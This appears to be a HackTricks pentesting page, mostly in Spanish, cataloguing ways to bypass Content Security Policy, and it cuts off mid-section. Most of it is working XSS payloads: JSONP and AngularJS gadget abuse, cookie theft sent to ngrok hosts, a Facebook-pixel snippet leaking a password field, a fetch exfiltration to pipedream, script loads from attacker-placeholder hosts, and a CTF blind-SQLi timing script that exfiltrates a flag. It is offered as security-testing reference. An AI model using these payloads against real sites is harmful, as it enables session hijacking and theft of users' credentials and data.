48 KiB
Content Security Policy (CSP) Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
What is CSP
La Política de Seguridad de Contenidos (CSP) es reconocida como una tecnología de navegador, principalmente destinada a proteger contra ataques como el scripting entre sitios (XSS). Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como eval
, setTimeout
o setInterval
.
La implementación de CSP se lleva a cabo a través de encabezados de respuesta o incorporando elementos meta en la página HTML. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.
- Implemented via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Implementado a través de la etiqueta meta:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Headers
CSP se puede hacer cumplir o monitorear utilizando estos encabezados:
Content-Security-Policy
: Hace cumplir el CSP; el navegador bloquea cualquier violación.Content-Security-Policy-Report-Only
: Se utiliza para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.
Defining Resources
CSP restringe los orígenes para cargar tanto contenido activo como pasivo, controlando aspectos como la ejecución de JavaScript en línea y el uso de eval()
. Un ejemplo de política es:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Directives
- script-src: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts en línea y scripts activados por controladores de eventos o hojas de estilo XSLT.
- default-src: Establece una política predeterminada para la obtención de recursos cuando faltan directivas de obtención específicas.
- child-src: Especifica recursos permitidos para trabajadores web y contenidos de marcos incrustados.
- connect-src: Restringe las URLs que se pueden cargar utilizando interfaces como fetch, WebSocket, XMLHttpRequest.
- frame-src: Restringe las URLs para marcos.
- frame-ancestors: Especifica qué fuentes pueden incrustar la página actual, aplicable a elementos como
<frame>
,<iframe>
,<object>
,<embed>
, y<applet>
. - img-src: Define fuentes permitidas para imágenes.
- font-src: Especifica fuentes válidas para fuentes cargadas usando
@font-face
. - manifest-src: Define fuentes permitidas de archivos de manifiesto de aplicación.
- media-src: Define fuentes permitidas para cargar objetos multimedia.
- object-src: Define fuentes permitidas para elementos
<object>
,<embed>
, y<applet>
. - base-uri: Especifica URLs permitidas para cargar usando elementos
<base>
. - form-action: Enumera puntos finales válidos para envíos de formularios.
- plugin-types: Restringe los tipos MIME que una página puede invocar.
- upgrade-insecure-requests: Instruye a los navegadores a reescribir URLs HTTP a HTTPS.
- sandbox: Aplica restricciones similares al atributo sandbox de un
<iframe>
. - report-to: Especifica un grupo al que se enviará un informe si se viola la política.
- worker-src: Especifica fuentes válidas para scripts de Worker, SharedWorker o ServiceWorker.
- prefetch-src: Especifica fuentes válidas para recursos que serán obtenidos o preobtenidos.
- navigate-to: Restringe las URLs a las que un documento puede navegar por cualquier medio (a, formulario, window.location, window.open, etc.)
Sources
*
: Permite todas las URLs excepto aquellas con esquemasdata:
,blob:
,filesystem:
.'self'
: Permite cargar desde el mismo dominio.'data'
: Permite que los recursos se carguen a través del esquema de datos (por ejemplo, imágenes codificadas en Base64).'none'
: Bloquea la carga desde cualquier fuente.'unsafe-eval'
: Permite el uso deeval()
y métodos similares, no recomendado por razones de seguridad.'unsafe-hashes'
: Habilita controladores de eventos en línea específicos.'unsafe-inline'
: Permite el uso de recursos en línea como<script>
o<style>
en línea, no recomendado por razones de seguridad.'nonce'
: Una lista blanca para scripts en línea específicos usando un nonce criptográfico (número usado una vez).- Si tienes ejecución de JS limitada, es posible obtener un nonce usado dentro de la página con
doc.defaultView.top.document.querySelector("[nonce]")
y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes, por lo que esto no es necesario), como en:
Cargar script reutilizando nonce
```html ```'sha256-<hash>'
: Permite scripts con un hash sha256 específico.'strict-dynamic'
: Permite cargar scripts de cualquier fuente si ha sido permitido por un nonce o hash.'host'
: Especifica un host específico, comoexample.com
.https:
: Restringe las URL a aquellas que utilizan HTTPS.blob:
: Permite que los recursos se carguen desde URLs Blob (por ejemplo, URLs Blob creadas a través de JavaScript).filesystem:
: Permite que los recursos se carguen desde el sistema de archivos.'report-sample'
: Incluye una muestra del código que viola en el informe de violación (útil para depuración).'strict-origin'
: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo orígenes seguros pueden cargar recursos de orígenes seguros).'strict-origin-when-cross-origin'
: Envía URLs completas al hacer solicitudes del mismo origen, pero solo envía el origen cuando la solicitud es de origen cruzado.'unsafe-allow-redirects'
: Permite que se carguen recursos que redirigirán inmediatamente a otro recurso. No se recomienda ya que debilita la seguridad.
Reglas CSP Inseguras
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Working payload: "/><script>alert(1);</script>
self + 'unsafe-inline' a través de Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
{% hint style="danger" %} Esto no está funcionando, para más información ver esto. {% endhint %}
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Carga útil funcional:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Si de alguna manera puedes hacer que un código JS permitido cree una nueva etiqueta de script en el DOM con tu código JS, porque un script permitido la está creando, la nueva etiqueta de script se permitirá ejecutar.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Carga útil funcional:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Falta de object-src y default-src
{% hint style="danger" %} Parece que esto ya no está funcionando {% endhint %}
Content-Security-Policy: script-src 'self' ;
Cargas útiles:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Carga de Archivos + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Si puedes subir un archivo JS, puedes eludir este CSP:
Carga útil en funcionamiento:
"/>'><script src="/uploads/picture.png.js"></script>
Sin embargo, es muy probable que el servidor esté validando el archivo subido y solo te permita subir determinados tipos de archivos.
Además, incluso si pudieras subir un código JS dentro de un archivo con una extensión aceptada por el servidor (como: script.png), esto no sería suficiente porque algunos servidores como el servidor apache seleccionan el tipo MIME del archivo según la extensión y navegadores como Chrome rechazarán ejecutar código Javascript dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que Apache no conoce la extensión .wave, por lo tanto, no la sirve con un tipo MIME como audio/*.
A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una extensión malinterpretada, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crear un poliglota (algunos ejemplos de poliglota aquí).
Form-action
Si no es posible inyectar JS, aún podrías intentar exfiltrar, por ejemplo, credenciales inyectando una acción de formulario (y tal vez esperando que los administradores de contraseñas completen automáticamente las contraseñas). Puedes encontrar un ejemplo en este informe. Además, ten en cuenta que default-src
no cubre las acciones de formulario.
Third Party Endpoints + ('unsafe-eval')
{% hint style="warning" %}
Para algunos de los siguientes payloads unsafe-eval
ni siquiera es necesario.
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Cargar una versión vulnerable de angular y ejecutar JS arbitrario:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads usando Angular + una biblioteca con funciones que devuelven el objeto window
(mira esta publicación):
{% hint style="info" %}
La publicación muestra que podrías cargar todas las bibliotecas desde cdn.cloudflare.com
(o cualquier otro repositorio de bibliotecas JS permitidas), ejecutar todas las funciones añadidas de cada biblioteca y verificar qué funciones de qué bibliotecas devuelven el objeto window
.
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS desde un nombre de clase:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Abusando del código JS de google recaptcha
Según este informe de CTF, puedes abusar de https://www.google.com/recaptcha/ dentro de un CSP para ejecutar código JS arbitrario eludiendo el CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
Abusando de www.google.com para redirección abierta
La siguiente URL redirige a example.com (desde aquí):
https://www.google.com/amp/s/example.com/
Abusando *.google.com/script.google.com
Es posible abusar de Google Apps Script para recibir información en una página dentro de script.google.com. Como se hace en este informe.
Puntos finales de terceros + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Escenarios como este donde script-src
está configurado en self
y un dominio particular que está en la lista blanca pueden ser eludidos usando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, carga útil en funcionamiento:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee contiene puntos finales JSONP listos para usar para eludir CSP de diferentes sitios web.
La misma vulnerabilidad ocurrirá si el punto final de confianza contiene una Redirección Abierta porque si el punto final inicial es de confianza, las redirecciones son de confianza.
Abusos de Terceros
Como se describe en el siguiente post, hay muchos dominios de terceros que podrían estar permitidos en algún lugar del CSP, que pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
Entidad | Dominio Permitido | Capacidades |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Si encuentras alguno de los dominios permitidos en el CSP de tu objetivo, es probable que puedas eludir el CSP registrándote en el servicio de terceros y, ya sea exfiltrando datos a ese servicio o ejecutando código.
Por ejemplo, si encuentras el siguiente CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
o
Content-Security-Policy: connect-src www.facebook.com;
Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho con Google Analytics/Google Tag Manager. En este caso, sigues estos pasos generales:
- Crea una cuenta de desarrollador de Facebook aquí.
- Crea una nueva aplicación de "Inicio de sesión de Facebook" y selecciona "Sitio web".
- Ve a "Configuración -> Básico" y obtén tu "ID de aplicación".
- En el sitio objetivo del que deseas exfiltrar datos, puedes exfiltrar datos utilizando directamente el gadget "fbq" del SDK de Facebook a través de un "customEvent" y la carga de datos.
- Ve a "Administrador de eventos" de tu aplicación y selecciona la aplicación que creaste (ten en cuenta que el administrador de eventos podría encontrarse en una URL similar a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
- Selecciona la pestaña "Eventos de prueba" para ver los eventos que se envían desde "tu" sitio web.
Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al ID de aplicación de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la entrada del blog anterior para explicaciones adicionales sobre otros abusos de terceros.
Bypass via RPO (Relative Path Overwrite)
Además de la redirección mencionada anteriormente para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores.
Por ejemplo, si CSP permite la ruta https://example.com/scripts/react/
, se puede eludir de la siguiente manera:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
El navegador finalmente cargará https://example.com/scripts/angular/angular.js
.
Esto funciona porque para el navegador, estás cargando un archivo llamado ..%2fangular%2fangular.js
ubicado en https://example.com/scripts/react/
, que es compatible con CSP.
∑, lo decodificarán, solicitando efectivamente https://example.com/scripts/react/../angular/angular.js
, que es equivalente a https://example.com/scripts/angular/angular.js
.
Al explotar esta inconsistencia en la interpretación de URL entre el navegador y el servidor, se pueden eludir las reglas de ruta.
La solución es no tratar %2f
como /
en el lado del servidor, asegurando una interpretación consistente entre el navegador y el servidor para evitar este problema.
Ejemplo en línea: https://jsbin.com/werevijewa/edit?html,output
Ejecución de JS en Iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
falta base-uri
Si falta la directiva base-uri, puedes abusar de ella para realizar una inyección de marcado colgante.
Además, si la página está cargando un script usando una ruta relativa (como <script src="/js/app.js">
) utilizando un Nonce, puedes abusar de la etiqueta base para hacer que cargue el script desde tu propio servidor logrando un XSS.
Si la página vulnerable se carga con httpS, utiliza una URL httpS en la base.
<base href="https://www.attacker.com/">
AngularJS events
Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como una alternativa. Dentro de un evento, AngularJS proporciona un objeto único $event
, que hace referencia al objeto de evento nativo del navegador. Este objeto $event
puede ser explotado para eludir el CSP. Notablemente, en Chrome, el objeto $event/event
posee un atributo path
, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto window
invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox.
Al dirigir este array al filtro orderBy
, es posible iterar sobre él, aprovechando el elemento terminal (el objeto window
) para activar una función global como alert()
. El fragmento de código demostrado a continuación elucida este proceso:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Este fragmento destaca el uso de la directiva ng-focus
para activar el evento, empleando $event.path|orderBy
para manipular el array path
, y aprovechando el objeto window
para ejecutar la función alert()
, revelando así document.cookie
.
Encuentra otros bypasses de Angular en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS y dominio en la lista blanca
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Una política de CSP que permite dominios para la carga de scripts en una aplicación Angular JS puede ser eludida a través de la invocación de funciones de callback y ciertas clases vulnerables. Más información sobre esta técnica se puede encontrar en una guía detallada disponible en este git repository.
Cargas útiles:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Otros puntos de ejecución arbitraria de JSONP se pueden encontrar en aquí (algunos de ellos fueron eliminados o corregidos)
Bypass a través de Redirección
¿Qué sucede cuando CSP encuentra una redirección del lado del servidor? Si la redirección lleva a un origen diferente que no está permitido, aún fallará.
Sin embargo, de acuerdo con la descripción en CSP spec 4.2.2.3. Paths and Redirects, si la redirección lleva a un camino diferente, puede eludir las restricciones originales.
Aquí hay un ejemplo:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Si CSP está configurado en https://www.google.com/a/b/c/d
, dado que se considera la ruta, tanto los scripts /test
como /a/test
serán bloqueados por CSP.
Sin embargo, el final http://localhost:5555/301
será redirigido en el lado del servidor a https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Dado que es una redirección, la ruta no se considera, y el script puede ser cargado, eludiendo así la restricción de la ruta.
Con esta redirección, incluso si la ruta se especifica completamente, aún será eludida.
Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de redirección abiertas y que no haya dominios que puedan ser explotados en las reglas de CSP.
Eludir CSP con marcado colgante
Lee cómo aquí.
'unsafe-inline'; img-src *; a través de XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) y img-src *
significa que puedes usar en la página web cualquier imagen de cualquier recurso.
Puedes eludir este CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la bandera a través de una imagen):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
También podrías abusar de esta configuración para cargar código javascript insertado dentro de una imagen. Si, por ejemplo, la página permite cargar imágenes desde Twitter. Podrías crear una imagen especial, subirla a Twitter y abusar de la "unsafe-inline" para ejecutar un código JS (como un XSS regular) que cargará la imagen, extraerá el JS de ella y lo ejecutará: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Con Service Workers
La función importScripts
de los service workers no está limitada por CSP:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Inyección de Políticas
Investigación: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Si un parámetro enviado por ti está siendo pegado dentro de la declaración de la política, entonces podrías alterar la política de alguna manera que la haga inútil. Podrías permitir script 'unsafe-inline' con cualquiera de estos bypasses:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Porque esta directiva sobrescribirá las directivas existentes de script-src.
Puedes encontrar un ejemplo aquí: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
En Edge es mucho más simple. Si puedes agregar en el CSP solo esto: ;_
Edge eliminará toda la política.
Ejemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; vía XSS (iframe) - Ataque de tiempo
Nota la falta de la directiva 'unsafe-inline'
Esta vez puedes hacer que la víctima cargue una página bajo tu control a través de XSS con un <iframe
. Esta vez vas a hacer que la víctima acceda a la página de donde quieres extraer información (CSRF). No puedes acceder al contenido de la página, pero si de alguna manera puedes controlar el tiempo que la página necesita para cargar puedes extraer la información que necesitas.
Esta vez se va a extraer una bandera, cada vez que un carácter es adivinado correctamente a través de SQLi, la respuesta toma más tiempo debido a la función de sueño. Entonces, podrás extraer la bandera:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
A través de Bookmarklets
Este ataque implicaría algo de ingeniería social donde el atacante convince al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador. Este bookmarklet contendría código javascript malicioso que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, eludiendo CSP y permitiendo robar información sensible como cookies o tokens.
Para más información consulta el informe original aquí.
Bypass de CSP restringiendo CSP
En este informe de CTF, CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de contaminación de prototipos o dom clobbering permitía abusar de un script diferente para cargar un script arbitrario.
Puedes restringir un CSP de un Iframe con el atributo csp
:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
En este informe de CTF, fue posible a través de inyección HTML restringir más un CSP de modo que un script que prevenía CSTI fue deshabilitado y, por lo tanto, la vulnerabilidad se volvió explotable.
CSP se puede hacer más restrictivo utilizando etiquetas meta HTML y los scripts en línea pueden deshabilitarse eliminando la entrada que permite su nonce y habilitar scripts en línea específicos a través de sha:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
Exfiltración de JS con Content-Security-Policy-Report-Only
Si logras que el servidor responda con el encabezado Content-Security-Policy-Report-Only
con un valor controlado por ti (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si envuelves el contenido JS que deseas exfiltrar con <script>
y dado que es muy probable que unsafe-inline
no esté permitido por la CSP, esto activará un error de CSP y parte del script (que contiene la información sensible) será enviada al servidor desde Content-Security-Policy-Report-Only
.
Para un ejemplo consulta este informe de CTF.
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
Filtrando Información con CSP e Iframe
- Se crea un
iframe
que apunta a una URL (llamémoslahttps://example.redirect.com
) que está permitida por CSP. - Esta URL luego redirige a una URL secreta (por ejemplo,
https://usersecret.example2.com
) que no está permitida por CSP. - Al escuchar el evento
securitypolicyviolation
, se puede capturar la propiedadblockedURI
. Esta propiedad revela el dominio de la URI bloqueada, filtrando el dominio secreto al que la URL inicial redirigió.
Es interesante notar que navegadores como Chrome y Firefox tienen comportamientos diferentes al manejar iframes con respecto a CSP, lo que lleva a una posible filtración de información sensible debido a un comportamiento indefinido.
Otra técnica implica explotar el CSP mismo para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que están deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto de caracteres desconocidos, se pueden probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí hay un fragmento que muestra cómo podría configurarse el CSP para facilitar este método:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Al monitorear qué solicitudes son bloqueadas o permitidas por el CSP, se puede reducir los posibles caracteres en el subdominio secreto, eventualmente descubriendo la URL completa.
Ambos métodos explotan las sutilezas de la implementación y el comportamiento del CSP en los navegadores, demostrando cómo políticas aparentemente seguras pueden inadvertidamente leak información sensible.
Truco de aquí.
¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!
Perspectivas de Hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking
Noticias de Hackeo en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
Últimos Anuncios
Mantente informado sobre los nuevos bug bounties que se lanzan y actualizaciones cruciales de la plataforma
¡Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!
Tecnologías Inseguras para Bypass CSP
Errores de PHP cuando hay demasiados parámetros
Según la última técnica comentada en este video, enviar demasiados parámetros (1001 parámetros GET aunque también se puede hacer con parámetros POST y más de 20 archivos). Cualquier header()
definido en el código web de PHP no será enviado debido al error que esto provocará.
Sobrecarga del búfer de respuesta de PHP
Se sabe que PHP almacena en búfer la respuesta a 4096 bytes por defecto. Por lo tanto, si PHP muestra una advertencia, al proporcionar suficiente información dentro de las advertencias, la respuesta será enviada antes del header CSP, causando que el header sea ignorado.
Entonces, la técnica consiste básicamente en llenar el búfer de respuesta con advertencias para que el header CSP no sea enviado.
Idea de este writeup.
Reescribir Página de Error
De este writeup parece que era posible eludir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOME es una técnica que abusa de un XSS (o XSS altamente limitado) en un endpoint de una página para abusar de otros endpoints de la misma origen. Esto se hace cargando el endpoint vulnerable desde una página del atacante y luego actualizando la página del atacante al endpoint real en la misma origen que deseas abusar. De esta manera, el endpoint vulnerable puede usar el objeto opener
en la carga útil para acceder al DOM del endpoint real a abusar. Para más información, consulta:
